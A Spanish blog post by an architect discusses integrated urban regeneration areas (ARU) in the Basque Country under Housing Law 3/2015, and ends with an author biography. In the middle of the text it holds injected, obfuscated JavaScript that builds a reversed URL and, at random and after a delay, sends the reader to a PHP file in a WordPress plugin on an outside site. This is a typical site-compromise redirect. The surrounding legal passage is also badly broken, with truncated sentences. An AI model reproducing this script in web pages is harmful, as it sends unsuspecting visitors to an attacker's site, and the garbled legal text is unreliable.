3 monedas en la fuente… ¿Cuál será el ARU?

Hay tres actuaciones de regeneración urbana en Euskadi, ¿En alguna será de aplicación la Ley de Vivienda?

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Para esta pregunta vamos a recurrir a los clásicos. En nuestra Roma (parafraseando a Frank) hay tres monedas en la actualidad que se atribuyen la condición de ser actuaciones de regeneración urbana integrada, una en cada una de nuestras capitales o sus proximidades (Vitoria-Gasteiz -Coronación-, Sestao y Pasajes).

Así que después de reposar la STC 143/2017 y ver que la cosa en nuestro caso no será para tanto gracias a la Ley 3/2015 de Vivienda, tenemos que retomar el impulso. Lo primero es recuperar qué dice la ley sobre las actuaciones de regeneración, en ese Capítulo VII de Intervención en la edificación y en los conjuntos urbanos y rurales. Recordemos que, la Ley de Vivienda define dos instrumentos para las intervenciones en estos conjuntos: la Declaración de Necesidad de Rehabilitación (tos deben enmarcarse en el seno de las actuaciones sobre el Medio Urbano (aMU Pero más allá de las denominaciones, en nuestro caso la actuación que más nos interesa es el ARU, pues es la que habilita las actuaciones de carácter integrado y tiene un alcance más amplio (la Regeneración, Rehabilitación, Renovación Reurbanización y la Revitalización urbana que se definen en el

  • Tramitarse mediante un Plan Especial (toria para todos los propietarios incluidos en la delimitación del ámbito ( to al costeamiento de la actuación (todos los posibles costes económicos, sociales y medioambientales que resulten necesarios para la regeneración integrada del ámbito (to de actuación. En consecuencia, la viabilidad económica constituye el análisis del cumplimiento del límite de las obligaciones máximas de los propietarios con respecto a la actuación. (todos los afectados y de acuerdo con el beneficio esperable (valoración a actuación terminada $NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to Refundido de la Ley de Suelo y Rehabilitación Urbana” href=”https://www.boe.es/buscar/act.php?id=BOE-A-2015-11723#a24″ target=”_blank”>TRLSR 24.1 y 3 actuaciones

    ¿3 actuaciones de regeneración urbana integrada?

    Vistos los rasgos generales del ARU,

    ¿Le tocará a alguna de las tres, la fortuna de ser el primer ARU de Euskadi como dice Frank o será como canta Doris Day en El hombre que sabía demasiado (1956, Alfred Hitchcock)?

    Whatever will be will be,

    The future’s not ours to see,

    Qué será, será….

    que-sera-sera-doris-day

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    Álvaro Cerezo

    Álvaro Cerezo, Doctor Arquitecto (ETSAM, UPM), Arquitecto (ETSASS, UPV/EHU). Profesor Ayudante Doctor –ANECA- y Adjunto –UNIBASQ-. Profesor de la Cátedra UNED- Instituto Lincoln de Políticas de Suelo. Director de la Sociedad pública Puerto Deportivo el Abra – Getxo S.A. Ha sido arquitecto municipal en el Ayuntamiento de Zalla. Máster en valoraciones UPC-EM-REV y experto en Urbanismo, Derecho Urbanístico, Valoraciones, Ordenación y Gestión del Territorio y Evaluación ambiental. Experto en proyectos europeos (URBACT III, Regeneración urbana integrada, Medioambiente, Vivienda sostenible, Financiación de proyectos urbanos, Apoyo a las autoridades locales y otras partes interesadas en el diseño y ejecución de políticas integradas y participativas). ECA Residuos nivel I. Ha sido docente de la EVETU (IVAP) y en la UPV/EHU, Universidad de Deusto, UP-Cataluña, UP-Valencia y en instituciones INAP y ERAP, así como diversos colegios profesionales.

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